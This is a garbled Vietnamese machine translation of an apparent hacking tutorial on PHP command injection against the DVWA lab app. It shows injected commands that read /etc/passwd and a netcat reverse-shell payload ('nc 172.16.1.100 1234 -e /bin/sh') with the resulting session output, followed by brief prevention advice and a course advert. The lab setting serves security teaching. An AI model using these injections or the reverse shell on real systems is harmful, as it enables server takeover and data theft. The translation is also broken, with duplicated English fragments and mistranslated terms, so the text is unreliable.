Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Tiêm lệnh là một kỹ thuật được tin tặc sử dụng để thực thi các lệnh hệ thống trên máy chủ, thường thông qua ứng dụng web hoặc một loại GUI nào đó. Điều này có thể xảy ra khi một ứng dụng cung cấp một số loại chức năng cho người dùng liên quan đến việc sử dụng các lệnh hệ thống. Khi đầu vào không được vệ sinh đúng cách, các lệnh ban đầu không được dự định sẽ được phép thực thi.

Vì ứng dụng về cơ bản hoạt động như một lớp vỏ ngẫu hứng của các loại, loại tấn công này có thể dẫn đến hậu quả tai hại. Tùy thuộc vào mức độ đặc quyền mà ứng dụng có, kẻ tấn công có thể làm bất cứ điều gì, bao gồm xem các tệp cấu hình, sửa đổi hoặc xóa dữ liệu hoặc thậm chí nhận shell hoặc tạo cửa sau.

Điều quan trọng cần lưu ý là sự khác biệt giữa tiêm mã và tiêm lệnh. Khi tiêm mã, kẻ tấn công chèn mã tùy chỉnh sau đó được thực hiện bởi ứng dụng hoặc chương trình, trong khi việc tiêm lệnh tận dụng chức năng của ứng dụng trong đó các lệnh hệ thống được thực thi. Các khái niệm này là tương tự nhau, nhưng thực tế là việc tiêm lệnh dựa trên hành vi mặc định của ứng dụng thường giúp khai thác dễ dàng hơn.

Trong hướng dẫn này, tôi sẽ sử dụng DVWA (ứng dụng web dễ bị tổn thương chết tiệt) như một phần của Metasploable 2, một máy ảo dễ bị tổn thương, để mô phỏng cuộc tấn công này.

  • Đừng bỏ lỡ: Làm thế nào để tạo một phòng thí nghiệm hack ảo để thực hành các kỹ năng hack

Bước 1: Tìm một vectơ tấn công

Chúng ta có thể bắt đầu bằng cách tìm kiếm một vectơ tấn công thích hợp để khai thác. Trong ví dụ này, trang web có một chức năng cho phép chúng tôi ping các tên miền hoặc địa chỉ IP khác để kiểm tra kết nối. Trong thực tế, có lẽ sẽ rất hiếm khi tìm thấy một ví dụ trắng trợn như vậy, nhưng bạn không bao giờ biết (đôi khi trái cây treo thấp nhất mang lại kết quả tốt nhất). Đối với mục đích trình diễn, điều này sẽ hoạt động hoàn hảo mặc dù.

Ở đây đủ dễ dàng để nhập địa chỉ Loopback, hoặc localhost, để kiểm tra điều này. Chúng ta có thể thấy các câu trả lời ping, vì vậy nó dường như đang hoạt động chính xác.

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Bước 2: Kiểm tra các lỗ hổng bằng cách tiêm các lệnh

Tiếp theo, chúng ta có thể thử tiêm một lệnh đơn giản để xem liệu lỗ hổng có tồn tại không. Máy chủ web cụ thể này đang chạy Linux, nhưng kỹ thuật tương tự có thể được áp dụng cho các máy chủ Windows bằng cách sử dụng các lệnh Windows. Chúng ta có thể nối một lệnh bằng cách sử dụng && (và),; (phân tách), hoặc | (đường ống). Hãy thử một LS đơn giản trước. Việc tiêm đã thành công và nội dung của thư mục hiện tại được hiển thị:&& (AND), ; (separator), or | (pipe). Let's try a simple ls first. The injection was successful and the content of the current directory is displayed:

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Chúng ta cũng có thể sử dụng lệnh whoami để lấy tên người dùng hiện tại:whoami to get the current username:

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Lệnh Uname -a sẽ in thông tin hệ thống như kernel và hệ điều hành:uname -a command will print system information such as kernel and operating system:

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Chúng ta có thể xem nội dung của /etc /passwd bằng cách nối thêm CAT /etc /passwd vào lệnh:cat /etc/passwd to the command:

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Cho đến nay, tất cả các lệnh chúng tôi đã chạy đều có tác động thấp - hữu ích để thu thập thông tin về máy chủ nhưng không nhiều. Điều gì sẽ xảy ra nếu chúng ta có thể có được một cái vỏ trên hệ thống và sở hữu nó hoàn toàn? Chà, sử dụng công cụ phổ biến Netcat, chúng ta có thể làm chính xác điều đó.

Liên kết vỏ so với vỏ đảo ngược

Trước khi chúng ta nhảy vào vỏ sò, điều quan trọng là phải hiểu sự khác biệt giữa vỏ liên kết và vỏ đảo ngược.

Một vỏ liên kết là một vỏ lệnh được mở trên hệ thống đích, về cơ bản liên kết với một cổng cụ thể. Hệ thống tấn công sau đó kết nối với cổng nghe đó và một phiên tương tác được bắt đầu. Vỏ liên kết không được sử dụng thường xuyên ngày nay vì bất kỳ tường lửa hoạt động nào sẽ chặn các kết nối đến đến một số cổng ngẫu nhiên.

Mặt khác, một lớp vỏ ngược sẽ chủ động kết nối trở lại máy tấn công từ mục tiêu. Trong tình huống này, thiết bị tấn công có một cổng mở lắng nghe các kết nối đến. Vì lưu lượng truy cập đi ít có khả năng được lọc bởi tường lửa, một lớp vỏ ngược thường là lựa chọn ưa thích.

Bước 3: Sử dụng Netcat để lấy vỏ

NETCAT là một tiện ích mạng mạnh mẽ được sử dụng để kiểm tra các kết nối TCP hoặc UDP. Các tính năng khác bao gồm gỡ lỗi, quét cổng, truyền tệp và khả năng backdoor. Chúng tôi có thể sử dụng Netcat để sinh ra một vỏ ngược trên máy chủ web, miễn là nó được cài đặt và kết nối lại với máy của chúng tôi mang lại sự điều khiển hoàn toàn đối với hệ thống.

  • Đừng bỏ lỡ: Cách sử dụng Netcat, con dao của quân đội Thụy Sĩ

Đầu tiên, chúng tôi sử dụng lệnh sau trên hệ thống cục bộ của chúng tôi để mở trình nghe cho các kết nối đến. Việc sử dụng NetCat là NC, -L cờ mở trình nghe và -P 1234 hướng dẫn nó sử dụng cổng 1234, nhưng bất kỳ cổng ngẫu nhiên nào cũng sẽ hoạt động.nc, the -l flag opens a listener, and -p 1234 instructs it to use port 1234, but any random port will work.

nc -l -p 1234

Tiếp theo, trong tiện ích ping của ứng dụng web, hãy nối các lệnh sau để sinh ra vỏ trên máy chủ và kết nối lại với máy của chúng tôi:

nc 172.16.1.100 1234 -e /bin/sh

Hướng dẫn php reverse shell command injection - tiêm lệnh shell đảo ngược php

Điều này kết nối với địa chỉ IP 172.16.1.100 trên cổng 1234 và -e /bin /sh thực thi một vỏ được gửi lại cho hệ thống của chúng tôi. Bây giờ chúng ta có thể thử chạy các lệnh từ sự thoải mái của thiết bị đầu cuối của chúng ta. Sử dụng Whoami để xem người dùng hiện tại:-e /bin/sh executes a shell that is sent back to our system. Now we can try running commands from the comfort of our own terminal. Use whoami to view the current user:

root@drd:~# nc -l -p 1234
whoami
www-data

Để nhận thông tin hệ thống, hãy sử dụng lệnh uname -a:uname -a command:

root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Hoặc, sử dụng PS để xem các quy trình chạy hiện tại:ps to view current running processes:

root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY           TIME CMD
 4638 ?         00:00:00 apache2
 4642 ?         00:00:00 apache2
 4644 ?         00:00:00 apache2
 4645 ?         00:00:00 apache2
 4778 ?         00:00:00 apache2
 4783 ?         00:00:00 apache2
 4797 ?         00:00:00 sh
 4799 ?         00:00:00 nc
 4815 ?         00:00:00 apache2
 4858 ?         00:00:00 apache2
 4864 ?         00:00:00 apache2
 4967 ?         00:00:00 apache2
 5004 ?         00:00:00 sh
 5006 ?         00:00:00 nc
 5075 ?         00:00:00 php
 5076 ?         00:00:00 sh
 5078 ?         00:00:00 sh
 5120 ?         00:00:00 ps

Từ đây, chúng ta có thể xoay tròn các hệ thống khác trên mạng, tạo cửa hậu hoặc gõ hoàn toàn máy chủ ngoại tuyến. Khả năng bây giờ là vô tận khi chúng tôi về cơ bản đã sở hữu máy chủ.

Cách ngăn chặn chỉ huy tiêm

Giống như nhiều cuộc tấn công xảy ra trên web, đặc biệt là các kỹ thuật tiêm khác, việc tiêm lệnh có thể được ngăn chặn và giảm thiểu thành công bằng cách đảm bảo xác nhận đầu vào thích hợp được đưa ra. Bằng cách lọc ra một số cụm từ và ký tự đặc biệt nhất định, hoặc lý tưởng sử dụng phương pháp liệt kê trắng, khả năng một cuộc tấn công gây tổn hại đã giảm.

Thực tiễn mã hóa an toàn và đánh giá mã ngày càng trở nên quan trọng đối với quá trình phát triển; Hạn chế những gì có thể được khai thác ngay từ đầu là một cách tuyệt vời để củng cố tư thế bảo mật tổng thể của một tổ chức và các ứng dụng của nó. Tương tự như vậy, sử dụng các API đáng tin cậy cung cấp đầu vào được tham số hóa luôn là một đặt cược an toàn, cũng như chạy các ứng dụng với các đặc quyền thấp nhất có thể.

Cuối cùng, mặc dù, điều tốt nhất để làm là bỏ qua chức năng lệnh HĐH hoàn toàn. Trong nhiều trường hợp, không có lý do chính đáng nào một giao diện hướng web cần phải tương tác với các lệnh hệ thống. Bằng cách loại bỏ lỗ hổng ở nơi đầu tiên, về cơ bản bạn đã đánh bại một kẻ tấn công trên mặt trận đó.

Sự kết luận

Hết lần này đến lần khác, chúng ta đã thấy đầu vào được xác thực kém có thể dẫn đến khai thác, đặc biệt là khi xử lý các ứng dụng web. Lệnh tiêm dựa vào chức năng liên quan đến các lệnh HĐH, thường thông qua ứng dụng web hoặc GUI. Khi các lệnh ngoài ý muốn được phép thực thi trên hệ thống, kẻ tấn công có thể sở hữu máy chủ và nhận vỏ, như chúng tôi đã chứng minh với Netcat. Điều này chỉ để cho thấy làm thế nào các triển khai dường như vô hại có thể bị xâm phạm và khai thác.

Bạn muốn bắt đầu kiếm tiền như một hacker mũ trắng? Nhảy bắt đầu sự nghiệp hack của bạn với gói đào tạo chứng nhận hack đạo đức cao cấp năm 2020 của chúng tôi từ cửa hàng null byte mới và nhận được hơn 60 giờ đào tạo từ các chuyên gia an ninh mạng. Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.

Mua ngay (giảm 90%)>

Các giao dịch đáng giá khác để kiểm tra:

  • Giảm 97% Gói chứng nhận Hacker Hat Ultimate 2021
  • TẮT 99% Nhà khoa học dữ liệu tất cả trong một Mega Gói Mega
  • Giảm 98% phí bảo hiểm năm 2021 Tìm hiểu về Mã chứng nhận mã
  • Phần mềm ánh xạ tâm trí của MindMaster Take: Giấy phép vĩnh viễn
Che hình ảnh bởi blickpixel/pixabay; Ảnh chụp màn hình bởi drd_/null byte

Vỏ đảo ngược PHP là gì?

Công cụ này được thiết kế cho những tình huống đó trong Pentest nơi bạn có quyền truy cập tải lên vào máy chủ web đang chạy PHP.Tải tập lệnh này lên một nơi nào đó trong Root Web sau đó chạy nó bằng cách truy cập URL thích hợp trong trình duyệt của bạn.. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser.

Lệnh Shell Reverse là gì?

Một lớp vỏ ngược, còn được gọi là vỏ từ xa hoặc vỏ kết nối, tận dụng các lỗ hổng của hệ thống đích để bắt đầu phiên shell và sau đó truy cập vào máy tính của nạn nhân.takes advantage of the target system's vulnerabilities to initiate a shell session and then access the victim's computer.

Có phải một vỏ ngược có phải là cửa hậu không?

Reverse Shell là một lựa chọn lý tưởng cho kẻ tấn công để trồng một cửa hậu trên máy tính bao gồm..

Tiêm mã PHP là gì?

Tiêm mã PHP là một lỗ hổng cho phép kẻ tấn công tiêm mã tùy chỉnh vào công cụ kịch bản phía máy chủ.Lỗ hổng này xảy ra khi kẻ tấn công có thể kiểm soát tất cả hoặc một phần của chuỗi đầu vào được đưa vào lệnh gọi hàm eval ().a vulnerability that allows an attacker to inject custom code into the server side scripting engine. This vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.